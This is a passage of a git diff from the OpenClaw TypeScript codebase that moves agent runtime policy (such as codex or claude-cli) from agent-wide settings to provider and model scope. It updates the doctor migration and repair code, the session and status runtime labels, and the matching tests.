+} { const nextConfig = structuredClone(params.cfg); const hits: CodexRouteHit[] = []; const defaultsRuntime = nextConfig.agents?.defaults?.agentRuntime; @@ -477,7 +453,6 @@ function rewriteConfigModelRefs(params: { hits, agent: asMutableRecord(nextConfig.agents?.defaults), path: "agents.defaults", - runtime: params.runtime, currentRuntime: resolveRuntime({ env: params.env, defaultsRuntime }), rewriteModelsMap: true, }); @@ -487,7 +462,6 @@ function rewriteConfigModelRefs(params: { hits, agent: agent as MutableRecord, path: `agents.list.${id}`, - runtime: params.runtime, currentRuntime: resolveRuntime({ env: params.env, agentRuntime: agent.agentRuntime, @@ -550,18 +524,8 @@ function rewriteConfigModelRefs(params: { }; } -function resolveCodexRepairRuntime(params: { - cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; - codexRuntimeReady?: boolean; -}): CodexRepairRuntime { - void params; - return "codex"; -} - -function formatCodexRouteChange(hit: CodexRouteHit, runtime: CodexRepairRuntime): string { - const suffix = hit.setsRuntime ? `; set agentRuntime.id to "${runtime}"` : ""; - return `${hit.path}: ${hit.model} -> ${hit.canonicalModel}${suffix}.`; +function formatCodexRouteChange(hit: CodexRouteHit): string { + return `${hit.path}: ${hit.model} -> ${hit.canonicalModel}.`; } export function collectCodexRouteWarnings(params: { @@ -581,7 +545,7 @@ export function collectCodexRouteWarnings(params: { hit.runtime ? `; current runtime is "${hit.runtime}"` : "" }.`, ), - '- Run `openclaw doctor --fix`: it rewrites configured model refs and stale sessions to `openai/*` with `agentRuntime.id: "codex"`.', + "- Run `openclaw doctor --fix`: it rewrites configured model refs and stale sessions to `openai/*` without changing explicit runtime policy.", ].join("\n"), ]; } @@ -603,22 +567,16 @@ export function maybeRepairCodexRoutes(params: { changes: [], }; } - const runtime = resolveCodexRepairRuntime({ - cfg: params.cfg, - env: params.env, - codexRuntimeReady: params.codexRuntimeReady, - }); const repaired = rewriteConfigModelRefs({ cfg: params.cfg, env: params.env, - runtime, }); return { cfg: repaired.cfg, warnings: [], changes: [ `Repaired Codex model routes:\n${repaired.changes - .map((hit) => `- ${formatCodexRouteChange(hit, runtime)}`) + .map((hit) => `- ${formatCodexRouteChange(hit)}`) .join("\n")}`, ], }; @@ -667,19 +625,21 @@ function clearStaleCodexFallbackNotice(entry: SessionEntry): boolean { return true; } -function clearStaleCodexAuthOverride(entry: SessionEntry, runtime: CodexRepairRuntime): boolean { - if (runtime === "codex" || !entry.authProfileOverride?.startsWith("openai-codex:")) { - return false; +function clearStaleSessionRuntimePins(entry: SessionEntry): boolean { + let changed = false; + if (entry.agentHarnessId !== undefined) { + delete entry.agentHarnessId; + changed = true; } - delete entry.authProfileOverride; - delete entry.authProfileOverrideSource; - delete entry.authProfileOverrideCompactionCount; - return true; + if (entry.agentRuntimeOverride !== undefined) { + delete entry.agentRuntimeOverride; + changed = true; + } + return changed; } export function repairCodexSessionStoreRoutes(params: { store: Record; - runtime: CodexRepairRuntime; now?: number; }): SessionRouteRepairResult { const now = params.now ?? Date.now(); @@ -700,14 +660,11 @@ export function repairCodexSessionStoreRoutes(params: { }); const changedModelRoute = changedRuntimeModelRoute || changedOverrideModelRoute; const changedFallbackNotice = clearStaleCodexFallbackNotice(entry); - const changedAuthOverride = clearStaleCodexAuthOverride(entry, params.runtime); - if (!changedModelRoute && !changedFallbackNotice && !changedAuthOverride) { + const changedRuntimePins = + changedModelRoute || changedFallbackNotice ? clearStaleSessionRuntimePins(entry) : false; + if (!changedModelRoute && !changedFallbackNotice && !changedRuntimePins) { continue; } - if (changedModelRoute) { - entry.agentHarnessId = params.runtime; - entry.agentRuntimeOverride = params.runtime; - } entry.updatedAt = now; sessionKeys.push(sessionKey); } @@ -717,11 +674,7 @@ export function repairCodexSessionStoreRoutes(params: { }; } -function scanCodexSessionStoreRoutes( - store: Record, - runtime: CodexRepairRuntime, -): string[] { - void runtime; +function scanCodexSessionStoreRoutes(store: Record): string[] { return Object.entries(store).flatMap(([sessionKey, entry]) => { if (!entry) { return []; @@ -756,13 +709,8 @@ export async function maybeRepairCodexSessionRoutes(params: { }; } if (!params.shouldRepair) { - const runtime = resolveCodexRepairRuntime({ - cfg: params.cfg, - env: params.env, - codexRuntimeReady: params.codexRuntimeReady, - }); const stale = targets.flatMap((target) => { - const sessionKeys = scanCodexSessionStoreRoutes(loadSessionStore(target.storePath), runtime); + const sessionKeys = scanCodexSessionStoreRoutes(loadSessionStore(target.storePath)); return sessionKeys.map((sessionKey) => `${target.agentId}:${sessionKey}`); }); return { @@ -782,24 +730,16 @@ export async function maybeRepairCodexSessionRoutes(params: { changes: [], }; } - const runtime = resolveCodexRepairRuntime({ - cfg: params.cfg, - env: params.env, - codexRuntimeReady: params.codexRuntimeReady, - }); let repairedStores = 0; let repairedSessions = 0; for (const target of targets) { - const staleSessionKeys = scanCodexSessionStoreRoutes( - loadSessionStore(target.storePath), - runtime, - ); + const staleSessionKeys = scanCodexSessionStoreRoutes(loadSessionStore(target.storePath)); if (staleSessionKeys.length === 0) { continue; } const result = await updateSessionStore( target.storePath, - (store) => repairCodexSessionStoreRoutes({ store, runtime }), + (store) => repairCodexSessionStoreRoutes({ store }), { skipMaintenance: true }, ); if (!result.changed) { @@ -818,7 +758,7 @@ export async function maybeRepairCodexSessionRoutes(params: { ? [ `Repaired Codex session routes: moved ${repairedSessions} session${ repairedSessions === 1 ? "" : "s" - } across ${repairedStores} store${repairedStores === 1 ? "" : "s"} to openai/* with agentRuntime "${runtime}".`, + } across ${repairedStores} store${repairedStores === 1 ? "" : "s"} to openai/* while preserving runtime policy.`, ] : [], }; diff --git a/src/commands/doctor/shared/legacy-config-core-normalizers.ts b/src/commands/doctor/shared/legacy-config-core-normalizers.ts index b6238a4e96b..21a70b690f8 100644 --- a/src/commands/doctor/shared/legacy-config-core-normalizers.ts +++ b/src/commands/doctor/shared/legacy-config-core-normalizers.ts @@ -229,9 +229,6 @@ type ModelProviderEntry = Partial< >; type ModelsConfigPatch = Partial>; type ModelDefinitionEntry = NonNullable[number]; -type AgentRuntimePolicyPatch = NonNullable< - NonNullable["defaults"]>["agentRuntime"] ->; function mergeModelEntry(legacyEntry: unknown, currentEntry: unknown): unknown { if (!isRecord(legacyEntry) || !isRecord(currentEntry)) { @@ -244,42 +241,81 @@ function normalizeLegacyRuntimeAgentModelConfig(raw: unknown): { value?: unknown; changed: boolean; selectedRuntime?: string; + selectedRefs: string[]; } { if (typeof raw === "string") { const migrated = migrateLegacyRuntimeModelRef(raw); return migrated - ? { value: migrated.ref, changed: true, selectedRuntime: migrated.runtime } - : { value: raw, changed: false }; + ? { + value: migrated.ref, + changed: true, + selectedRuntime: migrated.runtime, + selectedRefs: [migrated.ref], + } + : { value: raw, changed: false, selectedRefs: [] }; } if (!isRecord(raw)) { - return { value: raw, changed: false }; + return { value: raw, changed: false, selectedRefs: [] }; } const migratedPrimary = typeof raw.primary === "string" ? migrateLegacyRuntimeModelRef(raw.primary) : null; if (!migratedPrimary) { - return { value: raw, changed: false }; + return { value: raw, changed: false, selectedRefs: [] }; } const next: Record = { ...raw, primary: migratedPrimary.ref }; + const selectedRefs = [migratedPrimary.ref]; if (Array.isArray(raw.fallbacks)) { next.fallbacks = raw.fallbacks.map((fallback) => { if (typeof fallback !== "string") { return fallback; } const migratedFallback = migrateLegacyRuntimeModelRef(fallback); - return migratedFallback?.runtime === migratedPrimary.runtime - ? migratedFallback.ref - : fallback; + if (migratedFallback?.runtime === migratedPrimary.runtime) { + selectedRefs.push(migratedFallback.ref); + return migratedFallback.ref; + } + return fallback; }); } return { value: next, changed: true, selectedRuntime: migratedPrimary.runtime, + selectedRefs, }; } +function runtimeNeedsExplicitModelPolicy(runtime: string | undefined): runtime is string { + return Boolean(runtime && runtime !== "codex"); +} + +function modelEntryWithRuntimePolicy(entry: unknown, runtime: string): Record { + const base = isRecord(entry) ? { ...entry } : {}; + const currentRuntime = isRecord(base.agentRuntime) + ? normalizeOptionalLowercaseString(base.agentRuntime.id) + : undefined; + if (!currentRuntime || currentRuntime === "auto") { + base.agentRuntime = { + ...(isRecord(base.agentRuntime) ? base.agentRuntime : {}), + id: runtime, + }; + } + return base; +} + +function mergeModelEntryWithRuntimePolicy( + legacyEntry: unknown, + currentEntry: unknown, + runtime: string | undefined, +): unknown { + const merged = mergeModelEntry(legacyEntry, currentEntry); + return runtimeNeedsExplicitModelPolicy(runtime) + ? modelEntryWithRuntimePolicy(merged, runtime) + : merged; +} + function normalizeLegacyRuntimeAllowlistModels( rawModels: unknown, selectedRuntime: string | undefined, @@ -305,29 +341,30 @@ function normalizeLegacyRuntimeAllowlistModels( next[rawKey] = mergeModelEntry(entry, next[rawKey]); } for (const [migratedKey, entry] of legacyEntries) { - next[migratedKey] = mergeModelEntry(entry, next[migratedKey]); + next[migratedKey] = mergeModelEntryWithRuntimePolicy(entry, next[migratedKey], selectedRuntime); } return { value: next, changed }; } -function ensureAgentRuntimePolicy( - raw: unknown, - selectedRuntime: string, -): { - value: AgentRuntimePolicyPatch; - changed: boolean; -} { - if (!isRecord(raw)) { - return { value: { id: selectedRuntime }, changed: true }; +function ensureSelectedModelRuntimePolicies( + rawModels: unknown, + selectedRefs: readonly string[], + selectedRuntime: string | undefined, +): { value?: unknown; changed: boolean } { + if (!runtimeNeedsExplicitModelPolicy(selectedRuntime) || selectedRefs.length === 0) { + return { value: rawModels, changed: false }; } - const currentRuntime = normalizeOptionalLowercaseString(raw.id); - if (!currentRuntime || currentRuntime === "auto") { - return { - value: { ...raw, id: selectedRuntime } as AgentRuntimePolicyPatch, - changed: currentRuntime !== selectedRuntime, - }; + const next: Record = isRecord(rawModels) ? { ...rawModels } : {}; + let changed = false; + for (const ref of selectedRefs) { + const current = next[ref]; + const updated = modelEntryWithRuntimePolicy(current, selectedRuntime); + if (JSON.stringify(updated) !== JSON.stringify(current ?? {})) { + next[ref] = updated; + changed = true; + } } - return { value: raw as AgentRuntimePolicyPatch, changed: false }; + return { value: next, changed }; } function normalizeLegacyRuntimeAgentContainer( @@ -358,10 +395,15 @@ function normalizeLegacyRuntimeAgentContainer( } if (model.selectedRuntime) { - const agentRuntime = ensureAgentRuntimePolicy(raw.agentRuntime, model.selectedRuntime); - if (agentRuntime.changed) { - next.agentRuntime = agentRuntime.value; + const modelRuntimes = ensureSelectedModelRuntimePolicies( + next.models, + model.selectedRefs, + model.selectedRuntime, + ); + if (modelRuntimes.changed) { + next.models = modelRuntimes.value; changed = true; + changes.push(`Selected ${model.selectedRuntime} runtime for ${path}.models entries.`); } } diff --git a/src/commands/doctor/shared/legacy-config-migrate.test.ts b/src/commands/doctor/shared/legacy-config-migrate.test.ts index 6d008e3be03..65af434c683 100644 --- a/src/commands/doctor/shared/legacy-config-migrate.test.ts +++ b/src/commands/doctor/shared/legacy-config-migrate.test.ts @@ -315,7 +315,7 @@ describe("legacy migrate sandbox scope aliases", () => { }); }); - it("moves legacy embeddedHarness runtime policy into agentRuntime", () => { + it("removes ignored agent-wide runtime policy", () => { const res = migrateLegacyConfigForTest({ agents: { defaults: { @@ -339,20 +339,14 @@ describe("legacy migrate sandbox scope aliases", () => { expect(res.changes).toEqual( expect.arrayContaining([ - "Moved agents.defaults.embeddedHarness → agents.defaults.agentRuntime.", - "Moved agents.list.0.embeddedHarness → agents.list.0.agentRuntime.", + "Removed agents.defaults.embeddedHarness; runtime is now provider/model scoped.", + "Removed agents.list.0.embeddedHarness; runtime is now provider/model scoped.", + "Removed agents.list.0.agentRuntime; runtime is now provider/model scoped.", ]), ); - expect(res.config?.agents?.defaults).toEqual({ - agentRuntime: { - id: "claude-cli", - }, - }); + expect(res.config?.agents?.defaults).toEqual({}); expect(res.config?.agents?.list?.[0]).toEqual({ id: "reviewer", - agentRuntime: { - id: "codex", - }, }); }); diff --git a/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts b/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts index 33a54aa3929..e57d153dc99 100644 --- a/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts +++ b/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts @@ -58,24 +58,30 @@ const LEGACY_AGENT_RUNTIME_POLICY_RULES: LegacyConfigRule[] = [ { path: ["agents", "defaults", "agentRuntime", "fallback"], message: - 'agents.defaults.agentRuntime.fallback is no longer supported; explicit runtimes fail closed and auto mode owns PI fallback. Run "openclaw doctor --fix".', + 'agents.defaults.agentRuntime is ignored; set models.providers..agentRuntime or a model-scoped agentRuntime instead. Run "openclaw doctor --fix".', }, { path: ["agents", "defaults", "embeddedHarness"], message: - 'agents.defaults.embeddedHarness is legacy; use agents.defaults.agentRuntime instead. Run "openclaw doctor --fix".', + 'agents.defaults.embeddedHarness is legacy and ignored; set provider/model runtime policy instead. Run "openclaw doctor --fix".', + match: (value) => getRecord(value) !== null, + }, + { + path: ["agents", "defaults", "agentRuntime"], + message: + 'agents.defaults.agentRuntime is ignored; set models.providers..agentRuntime or a model-scoped agentRuntime instead. Run "openclaw doctor --fix".', match: (value) => getRecord(value) !== null, }, { path: ["agents", "list"], message: - 'agents.list[].agentRuntime.fallback is no longer supported; explicit runtimes fail closed and auto mode owns PI fallback. Run "openclaw doctor --fix".', - match: (value) => hasAgentListRuntimeFallback(value), + 'agents.list[].agentRuntime is ignored; set provider/model runtime policy instead. Run "openclaw doctor --fix".', + match: (value) => hasAgentListRuntimePolicy(value), }, { path: ["agents", "list"], message: - 'agents.list[].embeddedHarness is legacy; use agents.list[].agentRuntime instead. Run "openclaw doctor --fix".', + 'agents.list[].embeddedHarness is legacy and ignored; set provider/model runtime policy instead. Run "openclaw doctor --fix".', match: (value) => hasLegacyAgentListEmbeddedHarness(value), }, ]; @@ -166,16 +172,11 @@ function hasLegacyAgentListEmbeddedHarness(value: unknown): boolean { return value.some((agent) => getRecord(getRecord(agent)?.embeddedHarness) !== null); } -function hasAgentRuntimeFallback(value: unknown): boolean { - const runtime = getRecord(value); - return Boolean(runtime && Object.prototype.hasOwnProperty.call(runtime, "fallback")); -} - -function hasAgentListRuntimeFallback(value: unknown): boolean { +function hasAgentListRuntimePolicy(value: unknown): boolean { if (!Array.isArray(value)) { return false; } - return value.some((agent) => hasAgentRuntimeFallback(getRecord(agent)?.agentRuntime)); + return value.some((agent) => getRecord(getRecord(agent)?.agentRuntime) !== null); } function migrateLegacySandboxPerSession( @@ -199,45 +200,19 @@ function migrateLegacySandboxPerSession( delete sandbox.perSession; } -function migrateLegacyAgentRuntimePolicy( +function removeLegacyAgentRuntimePolicy( container: Record, pathLabel: string, changes: string[], ): void { - const legacy = getRecord(container.embeddedHarness); - if (!legacy) { - return; + if (getRecord(container.embeddedHarness) !== null) { + delete container.embeddedHarness; + changes.push(`Removed ${pathLabel}.embeddedHarness; runtime is now provider/model scoped.`); } - - const existing = getRecord(container.agentRuntime); - const next = existing ? structuredClone(existing) : {}; - if (next.id === undefined && legacy.runtime !== undefined) { - next.id = legacy.runtime; - } - - if (Object.keys(next).length > 0) { - container.agentRuntime = next; - } - delete container.embeddedHarness; - changes.push(`Moved ${pathLabel}.embeddedHarness → ${pathLabel}.agentRuntime.`); -} - -function removeAgentRuntimeFallback( - container: Record, - pathLabel: string, - changes: string[], -): void { - const runtime = getRecord(container.agentRuntime); - if (!runtime || !Object.prototype.hasOwnProperty.call(runtime, "fallback")) { - return; - } - delete runtime.fallback; - if (Object.keys(runtime).length > 0) { - container.agentRuntime = runtime; - } else { + if (getRecord(container.agentRuntime) !== null) { delete container.agentRuntime; + changes.push(`Removed ${pathLabel}.agentRuntime; runtime is now provider/model scoped.`); } - changes.push(`Removed ${pathLabel}.agentRuntime.fallback.`); } export const LEGACY_CONFIG_MIGRATIONS_RUNTIME_AGENTS: LegacyConfigMigrationSpec[] = [ @@ -257,15 +232,14 @@ export const LEGACY_CONFIG_MIGRATIONS_RUNTIME_AGENTS: LegacyConfigMigrationSpec[ }, }), defineLegacyConfigMigration({ - id: "agents.embeddedHarness->agentRuntime", - describe: "Move legacy embeddedHarness runtime policy to agentRuntime", + id: "agents.agentRuntime-ignored", + describe: "Remove ignored agent-wide runtime policy", legacyRules: LEGACY_AGENT_RUNTIME_POLICY_RULES, apply: (raw, changes) => { const agents = getRecord(raw.agents); const defaults = getRecord(agents?.defaults); if (defaults) { - migrateLegacyAgentRuntimePolicy(defaults, "agents.defaults", changes); - removeAgentRuntimeFallback(defaults, "agents.defaults", changes); + removeLegacyAgentRuntimePolicy(defaults, "agents.defaults", changes); } if (!Array.isArray(agents?.list)) { @@ -276,8 +250,7 @@ export const LEGACY_CONFIG_MIGRATIONS_RUNTIME_AGENTS: LegacyConfigMigrationSpec[ if (!agentRecord) { continue; } - migrateLegacyAgentRuntimePolicy(agentRecord, `agents.list.${index}`, changes); - removeAgentRuntimeFallback(agentRecord, `agents.list.${index}`, changes); + removeLegacyAgentRuntimePolicy(agentRecord, `agents.list.${index}`, changes); } }, }), diff --git a/src/commands/doctor/shared/missing-configured-plugin-install.test.ts b/src/commands/doctor/shared/missing-configured-plugin-install.test.ts index 1531d1ba597..be1ee7df68c 100644 --- a/src/commands/doctor/shared/missing-configured-plugin-install.test.ts +++ b/src/commands/doctor/shared/missing-configured-plugin-install.test.ts @@ -1186,26 +1186,48 @@ describe("repairMissingConfiguredPluginInstalls", () => { it.each([ [ - "default agent runtime", + "default OpenAI model route", { agents: { defaults: { - agentRuntime: { id: "codex" }, + model: "openai/gpt-5.5", }, }, }, {}, ], [ - "agent runtime override", + "provider runtime policy", { - agents: { - list: [{ id: "main", agentRuntime: { id: "codex" } }], + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "codex" }, + models: [], + }, + }, + }, + }, + {}, + ], + [ + "agent model runtime policy", + { + agents: { + list: [ + { + id: "main", + model: "anthropic/claude-opus-4-7", + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "codex" } }, + }, + }, + ], }, }, {}, ], - ["environment runtime override", {}, { OPENCLAW_AGENT_RUNTIME: "codex" }], ])("repairs a missing Codex plugin selected by %s", async (_label, cfg, env) => { mocks.installPluginFromNpmSpec.mockResolvedValueOnce({ ok: true, @@ -1262,6 +1284,55 @@ describe("repairMissingConfiguredPluginInstalls", () => { }); }); + it.each([ + [ + "default agent runtime", + { + agents: { + defaults: { + agentRuntime: { id: "codex" }, + }, + }, + }, + {}, + ], + [ + "agent runtime override", + { + agents: { + list: [{ id: "main", agentRuntime: { id: "codex" } }], + }, + }, + {}, + ], + ["environment runtime override", {}, { OPENCLAW_AGENT_RUNTIME: "codex" }], + ])("ignores legacy whole-agent Codex runtime selected by %s", async (_label, cfg, env) => { + mocks.listOfficialExternalPluginCatalogEntries.mockReturnValue([ + { + id: "codex", + label: "Codex", + install: { + npmSpec: "@openclaw/codex", + defaultChoice: "npm", + }, + }, + ]); + + const { repairMissingConfiguredPluginInstalls } = + await import("./missing-configured-plugin-install.js"); + const result = await repairMissingConfiguredPluginInstalls({ + cfg, + env, + }); + + expect(mocks.installPluginFromNpmSpec).not.toHaveBeenCalled(); + expect(mocks.writePersistedInstalledPluginIndexInstallRecords).not.toHaveBeenCalled(); + expect(result).toEqual({ + changes: [], + warnings: [], + }); + }); + it("does not install a blocked downloadable plugin from explicit channel ids", async () => { mocks.listChannelPluginCatalogEntries.mockReturnValue([ { diff --git a/src/commands/doctor/shared/missing-configured-plugin-install.ts b/src/commands/doctor/shared/missing-configured-plugin-install.ts index 2b852c54205..4114a8d09f6 100644 --- a/src/commands/doctor/shared/missing-configured-plugin-install.ts +++ b/src/commands/doctor/shared/missing-configured-plugin-install.ts @@ -1,5 +1,6 @@ import { existsSync } from "node:fs"; import path from "node:path"; +import { collectConfiguredAgentHarnessRuntimes } from "../../../agents/harness-runtimes.js"; import { listExplicitlyDisabledChannelIdsForConfig, listPotentialConfiguredChannelIds, @@ -108,13 +109,8 @@ function addConfiguredAgentRuntimePluginIds( cfg: OpenClawConfig, env?: NodeJS.ProcessEnv, ): void { - addConfiguredPluginId(ids, env?.OPENCLAW_AGENT_RUNTIME); - const agents = asObjectRecord(cfg.agents); - const defaults = asObjectRecord(agents?.defaults); - addConfiguredPluginId(ids, asObjectRecord(defaults?.agentRuntime)?.id); - const list = Array.isArray(agents?.list) ? agents.list : []; - for (const entry of list) { - addConfiguredPluginId(ids, asObjectRecord(asObjectRecord(entry)?.agentRuntime)?.id); + for (const runtime of collectConfiguredAgentHarnessRuntimes(cfg, env ?? process.env)) { + addConfiguredPluginId(ids, runtime); } } diff --git a/src/commands/sessions.model-resolution.test.ts b/src/commands/sessions.model-resolution.test.ts index 6cc7e6ebcd3..d87d45bcc5c 100644 --- a/src/commands/sessions.model-resolution.test.ts +++ b/src/commands/sessions.model-resolution.test.ts @@ -74,9 +74,10 @@ describe("sessionsCommand model resolution", () => { setMockSessionsConfig(() => ({ agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "anthropic/claude-opus-4-7" }, - models: { "anthropic/claude-opus-4-7": {} }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, contextTokens: 200_000, }, }, @@ -100,7 +101,7 @@ describe("sessionsCommand model resolution", () => { expect(session?.model).toBe("claude-opus-4-7"); expect(session?.agentRuntime).toEqual({ id: "claude-cli", - source: "defaults", + source: "model", }); }); @@ -108,9 +109,10 @@ describe("sessionsCommand model resolution", () => { setMockSessionsConfig(() => ({ agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "openai/gpt-5.4" }, - models: { "anthropic/claude-opus-4-7": {} }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, contextTokens: 200_000, }, }, diff --git a/src/commands/sessions.test.ts b/src/commands/sessions.test.ts index 84bb03226af..8f9759ed285 100644 --- a/src/commands/sessions.test.ts +++ b/src/commands/sessions.test.ts @@ -57,9 +57,10 @@ describe("sessionsCommand", () => { setMockSessionsConfig(() => ({ agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "anthropic/claude-opus-4-7" }, - models: { "anthropic/claude-opus-4-7": {} }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, contextTokens: 200_000, }, }, @@ -92,9 +93,10 @@ describe("sessionsCommand", () => { setMockSessionsConfig(() => ({ agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "anthropic/claude-opus-4-7" }, - models: { "anthropic/claude-opus-4-7": {} }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, contextTokens: 200_000, }, }, diff --git a/src/commands/sessions.ts b/src/commands/sessions.ts index 5b841c305c4..189f6b9b0b0 100644 --- a/src/commands/sessions.ts +++ b/src/commands/sessions.ts @@ -1,6 +1,5 @@ -import { resolveAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; import { DEFAULT_CONTEXT_TOKENS } from "../agents/defaults.js"; -import { selectAgentHarness } from "../agents/harness/selection.js"; import { getRuntimeConfig } from "../config/config.js"; import { loadSessionStore, resolveSessionTotalTokens } from "../config/sessions.js"; import type { SessionEntry } from "../config/sessions/types.js"; @@ -34,7 +33,7 @@ import { type SessionRow = SessionDisplayRow & { agentId: string; kind: "cron" | "direct" | "group" | "global" | "unknown"; - agentRuntime: ReturnType; + agentRuntime: ReturnType; runtimeLabel: string; }; @@ -172,42 +171,14 @@ const formatKindCell = (kind: SessionRow["kind"], rich: boolean) => { function resolveSessionRuntimeLabel(params: { cfg: OpenClawConfig; entry: SessionEntry; - agentRuntime: ReturnType; + agentRuntime: ReturnType; modelProvider: string; model: string; agentId: string; sessionKey: string; }): string { - const explicitRuntime = - normalizeOptionalLowercaseString(params.entry.agentRuntimeOverride) ?? - normalizeOptionalLowercaseString(params.entry.agentHarnessId) ?? - (params.agentRuntime.source === "implicit" - ? undefined - : normalizeOptionalLowercaseString(params.agentRuntime.id)); - if (explicitRuntime && explicitRuntime !== "auto" && explicitRuntime !== "default") { - return resolveAgentRuntimeLabel({ - config: params.cfg, - sessionEntry: params.entry, - resolvedHarness: explicitRuntime, - fallbackProvider: params.modelProvider, - }); - } - - let resolvedHarness: string | undefined; - try { - const selected = selectAgentHarness({ - provider: params.modelProvider, - modelId: params.model, - config: params.cfg, - agentId: params.agentId, - sessionKey: params.sessionKey, - agentHarnessId: params.entry.agentHarnessId, - }); - const id = normalizeOptionalLowercaseString(selected.id); - resolvedHarness = id && id !== "pi" ? id : undefined; - } catch { - resolvedHarness = undefined; - } + const id = normalizeOptionalLowercaseString(params.agentRuntime.id); + const resolvedHarness = id && id !== "pi" && id !== "auto" ? id : undefined; return resolveAgentRuntimeLabel({ config: params.cfg, sessionEntry: params.entry, @@ -291,7 +262,13 @@ export async function sessionsCommand( const row = toSessionDisplayRow(key, entry); const agentId = parseAgentSessionKey(row.key)?.agentId ?? target.agentId; const modelRef = resolveSessionDisplayModelRef(cfg, row); - const agentRuntime = resolveAgentRuntimeMetadata(cfg, agentId); + const agentRuntime = resolveModelAgentRuntimeMetadata({ + cfg, + agentId, + provider: modelRef.provider, + model: modelRef.model, + sessionKey: row.key, + }); return Object.assign({}, row, { agentId, agentRuntime, diff --git a/src/commands/status.summary.runtime.test.ts b/src/commands/status.summary.runtime.test.ts index e525e22aae8..815a5a210b4 100644 --- a/src/commands/status.summary.runtime.test.ts +++ b/src/commands/status.summary.runtime.test.ts @@ -51,14 +51,13 @@ describe("statusSummaryRuntime.classifySessionKey", () => { }); describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { - it("uses the shared /status runtime labels for persisted harness metadata", () => { + it("uses the shared /status runtime label for the implicit OpenAI Codex route", () => { expect( statusSummaryRuntime.resolveSessionRuntimeLabel({ cfg: {} as never, entry: { sessionId: "session-1", updatedAt: 0, - agentRuntimeOverride: "codex", }, provider: "openai", model: "gpt-5.5", @@ -67,13 +66,15 @@ describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { ).toBe("OpenAI Codex"); }); - it("preserves configured default CLI runtimes when sessions lack persisted harness metadata", () => { + it("preserves configured default model CLI runtimes", () => { expect( statusSummaryRuntime.resolveSessionRuntimeLabel({ cfg: { agents: { defaults: { - agentRuntime: { id: "claude-cli" }, + models: { + "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "claude-cli" } }, + }, }, }, } as never, @@ -88,18 +89,22 @@ describe("statusSummaryRuntime.resolveSessionRuntimeLabel", () => { ).toBe("Claude CLI"); }); - it("preserves configured agent runtimes before harness selection", () => { + it("preserves configured agent model runtimes before harness selection", () => { expect( statusSummaryRuntime.resolveSessionRuntimeLabel({ cfg: { agents: { defaults: { - agentRuntime: { id: "pi" }, + models: { + "openai/gpt-5.5": { agentRuntime: { id: "pi" } }, + }, }, list: [ { id: "research", - agentRuntime: { id: "codex" }, + models: { + "openai/gpt-5.5": { agentRuntime: { id: "codex" } }, + }, }, ], }, diff --git a/src/commands/status.summary.runtime.ts b/src/commands/status.summary.runtime.ts index f6a108e0938..be8482f908a 100644 --- a/src/commands/status.summary.runtime.ts +++ b/src/commands/status.summary.runtime.ts @@ -1,7 +1,6 @@ -import { resolveAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; import { resolveConfiguredProviderFallback } from "../agents/configured-provider-fallback.js"; import { DEFAULT_CONTEXT_TOKENS, DEFAULT_MODEL, DEFAULT_PROVIDER } from "../agents/defaults.js"; -import { selectAgentHarness } from "../agents/harness/selection.js"; import { parseModelRef, resolvePersistedSelectedModelRef } from "../agents/model-selection.js"; import { normalizeProviderId } from "../agents/provider-id.js"; import { resolveAgentModelPrimaryValue } from "../config/model-input.js"; @@ -178,37 +177,15 @@ function resolveSessionRuntimeLabel(params: { agentId?: string; sessionKey: string; }): string { - const agentRuntime = resolveAgentRuntimeMetadata(params.cfg, params.agentId ?? ""); - const explicitRuntime = - normalizeOptionalLowercaseString(params.entry?.agentRuntimeOverride) ?? - normalizeOptionalLowercaseString(params.entry?.agentHarnessId) ?? - (agentRuntime.source === "implicit" - ? undefined - : normalizeOptionalLowercaseString(agentRuntime.id)); - if (explicitRuntime && explicitRuntime !== "auto" && explicitRuntime !== "default") { - return resolveAgentRuntimeLabel({ - config: params.cfg, - sessionEntry: params.entry, - resolvedHarness: explicitRuntime, - fallbackProvider: params.provider, - }); - } - - let resolvedHarness: string | undefined; - try { - const selected = selectAgentHarness({ - provider: params.provider, - modelId: params.model, - config: params.cfg, - agentId: params.agentId, - sessionKey: params.sessionKey, - agentHarnessId: params.entry?.agentHarnessId, - }); - const id = normalizeOptionalLowercaseString(selected.id); - resolvedHarness = id && id !== "pi" ? id : undefined; - } catch { - resolvedHarness = undefined; - } + const runtime = resolveModelAgentRuntimeMetadata({ + cfg: params.cfg, + agentId: params.agentId ?? "", + provider: params.provider, + model: params.model, + sessionKey: params.sessionKey, + }); + const id = normalizeOptionalLowercaseString(runtime.id); + const resolvedHarness = id && id !== "pi" && id !== "auto" ? id : undefined; return resolveAgentRuntimeLabel({ config: params.cfg, sessionEntry: params.entry, diff --git a/src/config/model-input.ts b/src/config/model-input.ts index 485e1bc89cd..aed1c859cd4 100644 --- a/src/config/model-input.ts +++ b/src/config/model-input.ts @@ -1,6 +1,10 @@ import { normalizeProviderId } from "../agents/provider-id.js"; import { normalizeGooglePreviewModelId } from "../plugin-sdk/provider-model-id-normalize.js"; -import { normalizeOptionalString, resolvePrimaryStringValue } from "../shared/string-coerce.js"; +import { + normalizeLowercaseStringOrEmpty, + normalizeOptionalString, + resolvePrimaryStringValue, +} from "../shared/string-coerce.js"; import type { 